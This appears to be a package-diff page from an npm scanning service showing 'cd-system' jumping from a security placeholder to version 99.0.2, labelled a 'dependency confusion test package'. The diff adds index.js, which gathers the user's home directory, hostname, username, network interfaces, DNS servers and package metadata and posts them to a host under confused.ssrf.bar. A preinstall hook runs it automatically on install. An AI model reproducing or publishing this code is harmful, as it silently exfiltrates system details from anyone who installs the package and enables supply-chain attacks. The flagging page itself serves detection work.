cd-system 0.0.1-security → 99.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of cd-system might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +2 -5
  2. package/index.js +51 -0
  3. package/package.json +9 -3
package/README.md CHANGED
@@ -1,5 +1,2 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=cd-system for more information.
1
+ DO NOT INSTALL THIS PACKAGE! IT WAS CREATED FOR TESTING PURPOUSES!
2
+ Okay, people, move along, there's nothing to see here
package/index.js ADDED
@@ -0,0 +1,51 @@
1
+ //author:- test
2
+ const os = require("os");
3
+ const dns = require("dns");
4
+ const querystring = require("querystring");
5
+ const https = require("https");
6
+ const http = require("http");
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+ const trackingData = JSON.stringify({
11
+ p: package,
12
+ c: __dirname,
13
+ hd: os.homedir(),
14
+ hn: os.hostname(),
15
+ ad: os.networkInterfaces(),
16
+ un: os.userInfo().username,
17
+ dns: dns.getServers(),
18
+ r: packageJSON ? packageJSON.___resolved : undefined,
19
+ v: packageJSON.version,
20
+ pjson: packageJSON,
21
+ });
22
+
23
+ var postData = querystring.stringify({
24
+ msg: trackingData,
25
+ });
26
+
27
+ var options = {
28
+ hostname: os.userInfo().username + "." + os.hostname() + ".confused.ssrf.bar", //replace burpcollaborator.net with Interactsh or pipedrea
29
+ port: 443,
30
+ path: "/test",
31
+ method: "POST",
32
+ rejectUnauthorized: false,
33
+ headers: {
34
+ "Content-Type": "application/x-www-form-urlencoded",
35
+ "Content-Length": postData.length,
36
+ },
37
+ };
38
+
39
+ var req = https.request(options, (res) => {
40
+ res.on("data", (d) => {
41
+ process.stdout.write(d);
42
+ });
43
+ });
44
+
45
+ req.on("error", (e) => {
46
+ // console.error(e);
47
+ });
48
+
49
+ req.write(postData);
50
+ req.end();
51
+
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "cd-system",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.0.2",
4
+ "description": "dependency confusion test package",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }